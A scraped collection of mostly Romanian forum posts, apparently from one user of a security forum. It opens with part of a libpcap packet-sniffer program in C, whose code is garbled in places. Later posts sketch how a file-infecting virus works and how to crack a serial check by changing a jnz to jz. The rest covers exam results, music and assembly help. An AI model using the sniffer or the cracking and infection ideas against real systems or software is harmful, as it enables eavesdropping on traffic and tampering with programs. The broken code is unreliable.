/* Memory allocation to write statistic structure */ printf("\n\n\n-+-+-+-+-+-+-+-+HZVSniff+-+-+-+-+-+-+-+-\n"); printf(" CoDeD By ReDiLs For HZVManual\n\n"); printf("Interface to sniff (default :0) "); scanf("%10s",interface); /* we get a character string representation of the used to sniff interface*/ printf("\nHow many packets to intercept: "); scanf("%d",&nbrpaquets); /* We get number of packets to sniff.*/ printf("\nChoisissez le type d'affichage des données :\n"); printf(" 1 -> Display : Characters Mode printf(" 2-> Display hexa mode\n"); scanf("%d",&affichage); while((affichage!=1) && (affichage!=2)) { printf("Choose 1 oo 2 \n"); scanf("%d",&affichage); } if(strcmp(interface,"0")==0)strcpy(interface,pcap_lookupdev(erreur)); /* We check if user want to call pcap_lookupdev to find default network interface*/ if ((descriptPaquet = pcap_open_live(interface, 1500, 0, 1000, erreur))==NULL) /* File descriptor allocation*/ { printf("Erreur : %s\n",erreur); /* If errors, we display them*/ exit(1); } pcap_lookupnet(interface,&netp,&maskp,erreur); /* We get network's address and subnet */ printf("\nNetwork : %x\n",netp); /* We display network in hexa mode.*/ printf("\nMask : %x\n",maskp); /* Display Mask in hexa mode*/ pcap_stats(descriptPaquet, statistiques); /* We call the statistics' function*/ printf("Displaying network traffic : %s\n",interface); while (a!=nbrpaquets) /* Until desired number of captured packet is not done, we get them */ { paquet = (u_char *) pcap_next(descriptPaquet, &paquethdr); /* We get packets'content*/ if (paquet != NULL) /* If content is not emty (some times, it may be), we don't display it.*/ { for (i=0; i<500; i++) /* We display the first 500 bytes of packets*/ { if(affichage==1)printf("%c",*paquet); /* Which format to display output ?*/ else paquet++; } printf("\n*********************************************************************\n"); } ++; } pcap_stats(descriptPaquet, statistiques); printf("Statistis :\n"); printf("Received packets : %d\n",statistiques->ps_recv); printf("Dropped packets : %d\n",statistiques->ps_drop); } --------------------------------------end--------------------------------------------------------- To compile your code : gcc -lpcap -o hzvsniff hzvsniff.c Source: http://www.thehackademy.net/
-
A fost cel mai jegos bac dintre toate... Multe magarii, examenele propriu-zise nasoale rau, cel putin la matematica, nici un fel de egalitate intre elevi, una e sa dai la istorie unde s-a luat numai 8-9-10, alta e sa dai la matematica M1 unde s-a luat 1,5 - 2 - 3 - 4 -5 - 6, notele au fost penale, la 2 lucrari identice, diferente de 2 puncte intre ele si multe altele. Cred ca si contestatiile for fi tot de mantuiala. LiviuCool: Nu, http://mta.ro/admitere/Locuri_admitere_2010.pdf
-
Pfff, amice, ce crezi ca faci? http://rstcenter.com/forum/18293-cum-sa-suni-gratuit-de-pe-net-sau-de-pe-iphone-la-orice-numar-din-lume.rst --> Suna gratis oriunde in lume | Hacking-Unlimited Blog Tu nu ai auzit de drepturi de autor? Ban!
-
Cateva mici statistici (calculate de mine, sper ca am calculat bine): Valcea: Trecuti: 3397 Picati: 1196 Total: 4593 Picati: 26% Pe tara: Trecuti: 136254 Picati: 73,832 Total: 210086 Picati: 35% Pe tara: 131 cu 10.00 phantomas90: Am vorbit cu cineva de acolo, am inteles cam cum sta treaba.
-
Ce s-a facut la bac: La examene se poarta perlele! O colectie de-a rasu'-plansu' - Stirileprotv.ro Cica in Bucuresti 41% au picat. Si prin Buzau parca a fost un liceu la care au picat toti elevii )
-
Academia Tehnica Militara - Sisteme informatice si electronice pentru aparare si securitate nationala
-
Nu m-am mai ocupat de acest program, timpul nu imi permite. Incepusem lucrul la o noua versiune, dar nu am avut timp nici de ea si am abandonat proiectul. Vezi ResHacker
-
Da, dar nu stiu ce ar putea face acel "virus" pe care vrei sa il faci fara apelul unor functii de sistem din kernel, user32, care nu sunt functii pe care le poti scrie tu... Apelul se poate face si direct cu shellcode-ul care exista pentru unele functii, dar mai repede se face cu invoke. In plus diferenta dintre un cod scris in assembly si unul scris bine in C nu cred ca este foarte mare.
-
Cum faci un program care asambleaza/rescrie pe un altul ?
Nytro replied to Krisler12™'s topic in Programare
A, tu vrei un virus care sa se scrie in alte executabile si sa ruleze cand ruleaza acele executabile. Cred. Pai nu e asa de usor. Virusul tau nu cred ca este format numai din shellcode (cod masina) ci are nevoie si de anumite date (ne)initializate, in sectiuni diferite. Asta inseamna ca acele date trebuie incarcate in memorie la adresa potrivita. De asemenea, daca reusesti sa faci asta, va trebui sa te intorci la adresa de la care ai sarit si astfel sa ruleze executabilul infectat. Da, in teorie totul e usor, practica ne omoara. Asa pateam si eu mereu, imi venea peste noapte cine stie ce idee si eram sigur ca va revolutiona lumea, dar cand incercam sa o pun in practica vedeam ca nu prea se poate. -
Florin Salam - Dupa aeroportul din Palermo
-
Cred ca functia va fi scrisa tot in C++, cel putin header-ul, dar instructiunile vor fi scrise in ASM. int suma(int a, int { __asm { mov eax, a mov ebx, b add eax, ebx retn eax } } Probabil asa, NU STIU. (sa se inteleaga, am venit doar cu o posibila idee). Eu iti repet, lasa astea, si nu te mai uita la tutoriale de ASM daca nu sti ce fac acele instructiuni, daca nu sti cum arata un fisier PE in memorie si altele.
-
Nu sta nimeni sa le organizeze pe categorii... Am terminat cu bacul, dar am admitere nasoala, sa vad ce fac si cat timp am...
-
Eu voiam 8 Bine, putin imi pasa de cat am luat, ma bucur ca am trecut la mate. Notele: Romana: 8,25 Matematica M1: 6,05 Informatica T2: 9,20 Media: 7,83 Nu voiam decat sa trec, nu imi trebuie media decat 5%, ceea ce nu se "simte".
-
Nu stiu Assembly si din cate vad nici tu nu sti. Deci nu are rost sa se chinuie cineva sa iti raspunda. Datele se pun pe stiva, parametrii, folosind "push", apoi se apeleaza functia din C++ de exemplu, daca asta vrei, apoi se scot datele depe stiva cu "pop". #include <stdio.h> char format[] = "%s %s\n"; char hello[] = "Hello"; char world[] = "world"; void main( void ) { [URL="http://www.codeguru.com/forum/showthread.php?t=308575"]__asm[/URL] { mov eax, offset world push eax mov eax, offset hello push eax mov eax, offset format push eax call printf pop ebx pop ebx pop ebx } } Inca o data, nu stiu Assembly...
-
Cum faci un program care asambleaza/rescrie pe un altul ?
Nytro replied to Krisler12™'s topic in Programare
Un executabil e format din mai multe sectiuni. Aceste sectiuni contin anumite tipuri de date. Exista sectiuni pentru cod masina, codul executabil propriu-zis, sectiuni pentru date initializate si sectiuni pentru date neinitializate. Daca incepi sa modifici un executabil trebuie sa sti ce faci pe acolo. NOP-urile nu cred ca sunt chiar degeaba. Daca vrei sa faci un crack ceva, cred ca cel mai simplu ar fi, desi nu stiu daca se poate, sa modifici un jmp. Probabil executabilul contine ceva de genyl: if(!serial_corect) zii_ca_nui_bun();. In Assembly, asta probabil este un jnz (jump not zero) si decat pui jz (jump zero). Bine, sunt cam paralel cu asta si probabil spun prostii. Insa ideea e sa lasi tu astea si sa incepi sa inveti lucrurile de baza. Daca chiar vrei, invata mai intai C++, cred ca e necesar, apoi Assembly, mai citestid espre structura PE si esti boss. -
Arduino: Citesc, dar nu pe calculator. Trebuia sa citesc 30 de pagini cu metodologia de la ATM, si nu am putut nici astea sa le citesc pe PC, mi le-am scos la imprimanta. Si asta e problema pentru toata lumea.
-
Proasta idee. Nu le citeste nici dracu. Tu cate carti ai citit pe net?